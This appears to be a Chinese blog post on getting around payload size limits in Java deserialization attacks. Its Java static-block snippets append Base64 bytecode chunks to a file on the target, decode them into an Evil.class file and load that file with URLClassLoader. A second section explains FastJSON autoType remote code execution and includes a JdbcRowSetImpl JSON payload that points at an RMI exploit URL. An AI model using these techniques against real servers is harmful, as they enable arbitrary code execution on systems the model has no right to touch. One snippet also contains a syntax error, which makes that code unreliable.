反序列化Payload分块传输

可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块

使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件。

static {
   try {
       String path = "/your/path";
       // 创建文件
       File file = new File(path);
       file.createNewFile();
       // 传入true是追加方式写文件
       FileOutputStream fos = new FileOutputStream(path, true);
       // 需要写入的数据
       String data = "BASE64_BYTECODES_PART";
       fos.write(data.getBytes());
       fos.close();
  } catch (Exception ignore) {
  }
}

在最后一个包中(,发送字节码的最后一个包,全部倒数第二个包)将字节码进行Base64Decode并写入class文件

(也可以直接写字节码二进制数据,不过个人认为Base64好分割处理一些)

static {
   try {
       String path = "/your/path";
       FileInputStream fis = new FileInputStream(path);
       // size取决于实际情况
       byte[] data = new byte[size];
       fis.read(data);
       // 写入Evil.class
       FileOutputStream fos = new FileOutputStream("Evil.class");
       fos.write(Base64.getDecoder().decode(data));
       fos.close();
  } catch (Exception ignored) {
  }
}

最后一个包使用URLClassLoader进行加载

注意一个小坑,传入URLClassLoader的路径要以file://开头且以/结尾否则会找不到对应的类

static {
   try {
       String path = "file:///your/path/";
       URL url = new URL(path);
       URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
       Class<?> clazz = urlClassLoader.loadClass("Evil);
       clazz.newInstance();
  } catch (Exception ignored) {
  }
}

来源:https://mp.weixin.qq.com/s/cQCYhBkR95vIVBicA9RR6g

针对 fast 序列化库的不同版本中的反序列化漏洞及其对应的 payload 构造方法,通常涉及深入理解该库在各版本中处理对象的方式以及可能存在的安全隐患。对于此类研究,重点在于识别哪些版本可能存在未经充分验证即执行反序列化的风险,并探索如何通过精心设计的数据结构来触发潜在的安全问题。 ### FastJSON 反序列化漏洞概述 FastJSON 是阿里巴巴开源的一款高性能 JSON 解析库,在多个编程环境中广泛应用。然而,由于其早期版本缺乏严格的类型检查机制,使得恶意用户能够提交特制的 JSON 字符串,进而引发远程代码执行等问题[^1]。 #### 特定版本下的 Payload 实现方式 - **FastJSON 1.x 系列** 在 FastJSON 的 1.x 版本中,如果启用了 `autoType` 功能,则允许攻击者指定自定义类型的名称作为输入的一部分。这可能导致加载并实例化任意类文件,最终实现 RCE(Remote Code Execution)。为此,构建有效负载的关键在于找到可被利用的目标环境内可用且具有危险行为的方法调用路径。 ```java String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:8080/Exploit\",\"autoCommit\":true}"; ``` - **FastJSON 2.x 更新后的防护措施** 自从 FastJSON 升级到 2.x 后,默认关闭了 `autoType` 支持,并引入了一系列白名单策略用于限制可以解析的对象类型。尽管如此,仍需警惕新发现的绕过技巧或是第三方组件间接引入的风险点。 对于开发者而言,建议始终保持最新稳定版更新频率,遵循官方文档指导配置安全选项;而对于研究人员来说,则要持续关注社区动态和技术博客分享的新颖思路。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值